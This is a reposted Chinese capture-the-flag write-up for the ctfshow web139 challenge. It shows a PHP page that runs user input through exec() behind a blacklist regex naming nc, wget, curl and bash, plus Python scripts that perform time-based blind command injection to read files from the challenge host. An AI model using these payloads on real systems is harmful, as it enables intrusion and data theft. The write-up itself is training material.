【ctfshow】Linux命令行注入无回显盲注 wp

admin 2022年1月10日03:34:19评论190 views字数 1797阅读5分59秒阅读模式


【ctfshow】Linux命令行注入无回显盲注 wp

前言

记录web的题目wp,慢慢变强,铸剑。

命令行之无回显注入web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&amp;|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

禁止了文件写入权限,所以tee已经无法使用,这里考虑用if和sleep来进行命令行盲注

利用shell编程的if判断语句配合awk以及cut命令来获取flag

1、awk逐行获取数据

image-20211006092556115

2、cut命令逐列获取单个字符第一行

image-20211006092655551

3、利用条件判断语句是否执行

1
2
3
4
if [ $(cat flag.txt | awk NR==1 | cut -c 2) == l ]; then echo "got it";fi

php中`可以当exec使用
if [ `cat flag.txt | awk NR==1 | cut -c 2` == l ; then echo "got it";fi

image-20211007211803396

4、写一个脚本判断根目录的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io

import requests
import time

url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"

p_result = ""

for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `ls / | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)


p_result += " "

5、经过长时间的注入,发现flag的目录/f149_15_h3r3,接着改一下数值和命令直接拿flag,跑起来很慢,这点需要注意。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# -- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/10/07
# blog: gylq.gitee.io

import requests

url = "http://89e63d88-3a32-4b94-a05d-0270f5795caf.challenge.ctf.show:8080/"

p_result = ""

for i in range(1, 5):
for j in range(1, 68):
for k in range(32, 128):
k = chr(k)
payload = "?c=" + "if [ `cat /f149_15_h3r3 | awk NR=={} | cut -c {}` == {} ]; then sleep 2;fi".format(i,j,k)
try:
requests.get(url=url + payload, timeout=(1.5, 1.5))
except:
p_result += k
print("【-】 ls /盲注:]".format(j))
print("【*】 p_result is context")
print(p_result)


p_result += " "

image-20211007222132772

我的个人博客

孤桜懶契:http://gylq.gitee.io

FROM:gylq.gitee Author:孤桜懶契

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月10日03:34:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【ctfshow】Linux命令行注入无回显盲注 wphttp://cn-sec.com/archives/730050.html

发表评论

匿名网友 填写信息